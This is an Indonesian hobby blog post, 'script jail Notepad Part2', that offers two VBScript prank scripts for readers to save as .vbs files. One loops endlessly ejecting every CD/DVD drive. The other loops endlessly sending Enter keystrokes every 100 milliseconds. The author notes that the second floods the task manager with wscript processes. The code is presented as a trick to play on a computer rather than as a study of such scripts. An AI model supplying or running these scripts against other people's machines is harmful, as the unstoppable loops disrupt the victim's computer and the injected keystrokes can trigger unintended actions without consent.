Selamat Datang Di Berbagi Ilmu Komputer. Mudahan Anda Bisa Menikmati Fitur-Fitur yang Tersedia disini dan Kami Menerima Kritik Anda Karna Kritik Anda Sangat bermaanfaat Bagi saya untuk jauh lebih Baik Dalam Situs Ini . Terima kasih

script jail Notepad Part2

1.buka tutup CD/DVD
Code:
Set oWMP = CreateObject("WMPlayer.OCX.7")
Set colCDROMs = oWMP.cdromCollection
do
if colCDROMs.Count >= 1 then
For i = 0 to colCDROMs.Count - 1
colCDROMs.Item(i).Eject
Next
For i = 0 to colCDROMs.Count - 1
colCDROMs.Item(i).Eject
Next
End If
wscript.sleep 5000
loop
save namafile.vbs


2.bikin vbscript nongol mlulu
Code:
Set wshShell = wscript.CreateObject("WScript.Shell")
do
wscript.sleep 100
wshshell.sendkeys "~(enter)"
loop
save namafile.vbs
ket: di task manager full wscript yg lg running
.

Artikel Terkait

0 komentar:

Posting Komentar

*Berikan Pendapat Anda !!!!!
-ada Sebuah pertanyaan yang mengganjal dalam pikiran anda??? Atau Juga ada Artikel Yg Kurang Jelas ....Beriakan Komentar Anda ....Dengan Komentar Anda Saya Bisa Belajar APa Aja Yang Salah Dalam Artikel Diatas,.....

*Caution!!!

-Saya MemBeri Yang terbaik Untuk Anda Semua

*Harap !!!
-Harap Dibaca Lengkap Artikel Diatas
-dan Baca Pula *NOTICE*

*Terima Kasih Telah Membaca Artikel Saya !!!!!